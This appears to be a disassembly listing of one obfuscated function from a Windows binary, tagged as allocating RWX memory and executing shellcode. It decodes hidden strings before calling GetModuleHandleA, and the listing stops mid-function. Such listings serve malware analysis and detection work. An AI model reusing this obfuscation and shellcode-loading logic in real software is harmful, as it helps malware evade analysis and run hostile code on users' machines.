Function at 0x1401c5130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe0
mov rdi, qword [0x1404e9cf8]
xor eax, eax
mov rsi, qword [0x1404e9d00]
xorps xmm0, xmm0
movzx r8d, byte [rbp - 0x61]
mov r13, rcx
movups xmmword [rbp - 0x56], xmm0
mov word [rbp - 0x46], ax
movabs r15, 0xafde57522d2bfda0
mov byte [rbp - 0x44], al
movabs r12, 0x6d3d29bdb49bce20
mov dword [rbp - 0x60], 0x6f66756e
movabs r14, 0xf9b05f68783f8e0
mov dword [rbp - 0x5c], 0x6b622b68
mov word [rbp - 0x58], 0xc964
mov rax, rsi
mov r9, rdi
nop dword [rax]
xor r11d, r11d
movabs rdx, 0xcf14633f3c33ef60
cmp r11, 0x1d
jae 0x1401c59c5
movzx r10d, byte [rbp + r11 - 0x60]
mov ebx, r10d
cmp rax, r11
ja 0x1401c59bc
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401c520a
lea r8, [r11 + r15]
movzx ecx, bl
and cl, r8b
add cl, cl
sub r8b, cl
sub r8b, 0x60
add r8b, r10b
jmp 0x1401c5236
je 0x1401c594f
inc rcx
cmp rax, rcx
je 0x1401c58d3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c58a1
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1401c585e
cmp r9, r11
ja 0x1401c59b3
lea rcx, [r9 + 9]
cmp rax, rcx
jae 0x1401c5262
lea rcx, [r11 + r12]
mov r8d, reloc.WS2_32.dll_recv
and bl, cl
sub r8b, bl
add r8b, r8b
add r8b, cl
add r8b, r10b
jmp 0x1401c52a0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c564c
inc rcx
cmp rax, rcx
je 0x1401c583a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c5678
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401c581b
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, r11
jbe 0x1401c54b3
nop dword [rax]
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1401c5494
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1401c5473
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1401c55d1
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1401c5449
lea rax, [r9 + 0x1000]
lea r9, [rax + 0x80]
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1401c5996
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1401c5975
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x1401c5368
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1401c5408
lea rax, [r9 + 8]
lea r9, [rax + 3]
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1401c53e1
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1401c53c2
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1401c53a7
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1401c5383
lea rax, [r9 + 0x10]
lea r9, [rax + 6]
jmp 0x1401c52b0
lea edx, [r11 - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
jmp 0x1401c52a0
lea edx, [r11 + 0x80]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x80
inc r11
jmp 0x1401c51c3
lea edx, [r11 - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x40
jmp 0x1401c58ba
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c590f
movzx ecx, byte [rbp + r11 - 0x60]
movzx edx, r11b
movzx r8d, r11b
and dl, r10b
add dl, dl
add rcx, r9
sub r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1401c51c3
lea edx, [r11 - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x60
cmp r9, 0xa
jb 0x1401c57b6
movzx ebx, r11b
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea r8d, [rdx*2 - 0x80]
jmp 0x1401c5877
lea edx, [r11 - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 0x40
inc r11
jmp 0x1401c51c3
movzx edx, r11b
movzx r8d, r11b
and dl, r10b
inc r9
add dl, dl
dec r11
sub r8b, dl
add r8b, r10b
inc r11
jmp 0x1401c51c3
lea edx, [r11 - 0x40]
movzx ebx, r11b
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x40
jmp 0x1401c5877
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jae 0x1401c5547
lea edx, [r11 - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x60
lea rcx, [r9 + rax]
cmp rcx, 0x400
je 0x1401c57ff
lea rcx, [r9 + 0x64]
cmp rax, rcx
jbe 0x1401c5643
lea r8d, [r11 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
cmp rax, 0x7a
jae 0x1401c57c3
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jbe 0x1401c56e9
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c541e
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c557e
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x60]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x1401c51c3
inc rcx
cmp rax, rcx
jne 0x1401c55a4
lea edx, [r11 + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x80
jmp 0x1401c590f
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c55c8
lea edx, [r11 - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x40
jmp 0x1401c58ea
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c55e9
movzx edx, r11b
movzx r8d, r11b
and dl, r10b
add dl, dl
sub r8b, dl
add r8b, r10b
jmp 0x1401c58ba
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401c5613
lea edx, [r11 - 0x40]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x40
inc r11
jmp 0x1401c51c3
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401c54d6
movzx ebx, r11b
mov edx, 0x20
lea r8d, [rbx + 0x40]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c5877
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c566f
movzx ebx, r11b
mov edx, gethostbyaddr
lea r8d, [rbx + 0x60]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c5877
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c5699
lea edx, [r11 - 0x20]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
inc r11
jmp 0x1401c51c3
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c56bd
lea edx, [r11 - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
jmp 0x1401c58ea
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401c550e
lea r8d, [r11 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c590f
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c571f
lea edx, [r11 + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
add r8b, 0x80
inc r11
jmp 0x1401c51c3
inc rcx
cmp rax, rcx
jne 0x1401c573c
movzx edx, r11b
movzx r8d, r11b
and dl, r10b
add dl, dl
sub r8b, dl
jmp 0x1401c58e7
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401c575d
lea edx, [r11 - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x40
jmp 0x1401c57db
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401c5781
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
dec r11
inc r11
jmp 0x1401c51c3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c541e
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
inc r9
and cl, r10b
dec r11
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x1401c51c3
mov byte [rbp + r11 - 0x60], r8b
inc r11
jmp 0x1401c51c3
movzx r8d, byte [rbp + r11 - 0x60]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r8b, cl
add r8b, r10b
add r8b, r11b
movzx ebx, r11b
sub bl, 0x60
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
sub bl, 0x60
add bl, r10b
add bl, r8b
mov byte [rbp + r11 - 0x60], bl
jmp 0x1401c58b7
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x1401c58ea
lea r8d, [r11 + 0x60]
mov edx, gethostbyaddr
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401c58b7
lea edx, [r11 - 0x60]
inc r9
movzx ecx, dl
dec r11
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x60
inc r11
jmp 0x1401c51c3
movzx ebx, r11b
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
add bl, 0x60
mov edx, gethostbyaddr
movzx ecx, bl
and cl, r10b
sub dl, cl
add dl, dl
add dl, bl
add dl, r10b
mov byte [rbp + r11 - 0x60], dl
inc r9
dec r11
inc r11
jmp 0x1401c51c3
lea edx, [r11 - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x1401c51c3
lea rcx, [r11 + rdx]
mov edx, gethostbyaddr
and bl, cl
sub dl, bl
lea r8d, [rdx + rdx]
add r8b, cl
add r8b, r10b
lea edx, [r11 - 0x20]
inc r9
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 0x20
add dl, r10b
movzx ecx, dl
mov byte [rbp + r11 - 0x60], cl
add rcx, r9
sub r11, rcx
lea edx, [r11 + 0x80]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, 0x80
add dl, r10b
mov byte [rbp + r11 - 0x60], dl
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1401c51c3
lea rcx, [r11 + r14]
and bl, cl
add bl, bl
sub cl, bl
lea r8d, [r10 + rcx]
sub r8b, 0x20
movzx ecx, byte [rbp + r11 - 0x60]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1401c51c3
add r11b, 0x20
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r11b
and cl, r10b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
jmp 0x1401c51b9
sub r11b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r8d, [r10 + r11]
sub r8b, 0x20
jmp 0x1401c51b3
lea rcx, [rbp + 0x14e6720]
jmp 0x1401c59c9
lea rcx, [rbp + 0x13a64c0]
jmp 0x1401c59c9
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rax, rax
jne 0x1401c59ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
mov dword [rcx], eax
mov eax, 0x1010000b
jmp 0x1401c66d5
mov r15, qword [0x1404e9cf8]
xor eax, eax
mov r12, qword [0x1404e9d00]
xorps xmm0, xmm0
movzx r11d, byte [rbp - 0x61]
movups xmmword [rbp], xmm0
mov word [rbp + 0x10], ax
mov byte [rbp + 0x12], al
mov dword [rbp - 0x11], 0xd505d9fe
mov dword [rbp - 0xd], 0xe2d2e0e5
mov dword [rbp - 9], 0x1e2cddf0
mov dword [rbp - 5], 0x37fb1d19
mov byte [rbp - 1], 0xbc
mov r8, r12
mov r9, r15
nop word [rax + rax]
xor edi, edi
movabs rcx, 0xf18e5f378a5595f6
cmp rdi, 0x24
jae 0x1401c64bf
movzx ebx, byte [rbp + rdi - 0x11]
mov r10, rbx
nop
cmp r8, rdi
ja 0x1401c64b6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401c5a8f
add rcx, rdi
mov r11d, 0x23
movzx eax, cl
and al, r10b
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, r10b
jmp 0x1401c5ad0
je 0x1401c643f
inc rax
cmp r8, rax
je 0x1401c63bd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c6380
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c635c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c6314
nop dword [rax + rax]
cmp r9, rdi
ja 0x1401c64ad
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1401c5af8
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
jmp 0x1401c5b30
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1401c6305
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c62e4
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401c62c9
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401c62ac
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401c5fa7
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1401c5f84
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401c5f62
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1401c5f3e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401c5f1f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c5f12
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401c5ee6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401c5b40
lea r8, [r9 + 0x42]
lea r9, [r8 + 0xa]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401c6492
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401c6472
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401c5cf3
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401c5cd5
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1401c5cb7
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1401c5e9b
lea rcx, [r9 + 0x2a]
cmp r8, rcx
jb 0x1401c5e5b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1401c5e35
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401c5b40
lea r9, [rcx + 0x1000]
mov r8, rcx
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x1401c5e0e
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1401c5df0
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1401c5dd3
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1401c5db8
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1401c5d9c
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1401c5d7d
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1401c5d5e
lea rcx, [r9 + 0x20]
cmp r8, rcx
ja 0x1401c5d37
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401c5d16
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1401c5b40
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x1401c5b40
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c5b30
lea edx, [rdi - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c5ad0
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movabs rcx, 0xf18e5f378a5595f6
sub r11b, 0x16
jmp 0x1401c5a5b
lea edx, [rdi + 0x70]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
movzx r10d, dil
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1401c6332
lea edx, [rdi - 0x7c]
mov ecx, gethostbyaddr
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
inc rdi
jmp 0x1401c5a42
mov ecx, 0x26
lea edx, [rdi - 0x54]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401c6261
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
add r8, r9
jmp 0x1401c63a4
mov ecx, 0x1a
lea edx, [rdi - 0x2c]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401c63a1
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1401c63e2
lea edx, [rdi - 4]
mov ecx, recvfrom
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c6407
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc rdi
jmp 0x1401c5a42
lea edx, [rdi + 0x42]
mov ecx, 0x19
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi - 0x11], r11b
inc rdi
jmp 0x1401c5a42
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
cmp r9, 0x200
jb 0x1401c5e4e
movzx ecx, bl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 4]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x38]
jmp 0x1401c6332
lea edx, [rdi + 0x6a]
mov ecx, recvfrom
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 6
jae 0x1401c6246
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1401c61a4
lea edx, [rdi - 0x34]
mov ecx, getservbyname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c5e6f
lea edx, [rdi + 0x14]
movzx eax, bl
and al, dl
mov ecx, 0x3a
sub cl, al
movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
lea edx, [rdi + 0x64]
mov ecx, 0x22
jmp 0x1401c62ec
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x78]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x48
jmp 0x1401c6261
lea edx, [rdi - 0x74]
mov ecx, reloc.WS2_32.dll_shutdown
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
inc rdi
jmp 0x1401c5a42
mov ecx, 0xa
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x4c]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c6332
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1401c6003
lea edx, [rdi - 0xa]
mov ecx, 0x23
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1401c628a
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1401c60d8
lea edx, [rdi - 0x62]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x52
add r11b, dl
jmp 0x1401c5eb4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c6038
lea edx, [rdi + 0x5c]
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c605c
mov ecx, reloc.WS2_32.dll_recv
lea edx, [rdi + 0x20]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401c63a1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c6081
lea ecx, [rdi + 0xc]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
add r8, r9
jmp 0x1401c63a4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c60a9
lea ecx, [rdi - 0x1c]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
inc rdi
jmp 0x1401c5a42
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401c5fc9
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x44]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1401c6332
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c6104
mov ecx, 0x1d
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x76]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c6332
inc rax
cmp r8, rax
jne 0x1401c6130
lea edx, [rdi + 0x62]
mov ecx, 0x29
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c6158
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x4e]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x22
jmp 0x1401c6261
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c617a
lea ecx, [rdi + 0x26]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
jmp 0x1401c63a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c5eb4
lea edx, [rdi + 0x12]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x1401c63e2
jne 0x1401c61cd
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 8
inc rdi
jmp 0x1401c5a42
inc rax
cmp r8, rax
jne 0x1401c61f3
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c63e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c6215
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
jmp 0x1401c63a4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c5e6f
lea edx, [rdi + 0x40]
mov ecx, 0x20
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c5a42
movzx ecx, byte [rbp + rdi - 0x11]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x10]
and al, dl
sub cl, al
add cl, 0x38
lea r11d, [rcx + rcx]
add r11b, dl
sub r10b, 0x1a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x4a
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x11], r10b
add r8, r9
jmp 0x1401c63a4
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, byte [rbp + rdi - 0x11]
sub r11b, 4
add r11b, dl
jmp 0x1401c63e2
lea edx, [rdi - 0x5e]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x6e
add r11b, dl
jmp 0x1401c63e2
mov ecx, 3
lea edx, [rdi - 0x4a]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401c63a1
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1401c63a4
movzx r10d, dil
mov ecx, 0x25
lea edx, [r10 + 0x1a]
jmp 0x1401c6321
movzx r10d, dil
mov ecx, 0x19
lea edx, [r10 + 0x42]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 6
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r10b
and al, bl
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
mov byte [rbp + rdi - 0x11], cl
inc r9
dec rdi
inc rdi
jmp 0x1401c5a42
lea edx, [rdi + 0x6a]
mov ecx, recvfrom
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1401c5a42
mov ecx, 0x3b
movabs rdx, 0x7e0158f3dd0245a6
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401c5a42
movzx ebx, r10b
movabs rcx, 0x9ae49a84c85719ba
add rcx, rdi
movzx r11d, bl
and r10b, cl
add r10b, r10b
sub r11b, r10b
sub r11b, 0x16
add r11b, cl
lea edx, [rdi - 0x2e]
inc r9
movzx eax, dl
mov ecx, 0x21
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x11], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x38]
inc r8
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x78
add cl, bl
mov byte [rbp + rdi - 0x11], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c5a42
movzx eax, r10b
movabs rcx, 0xd4ab1da69f00c1e2
add rcx, rdi
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2e
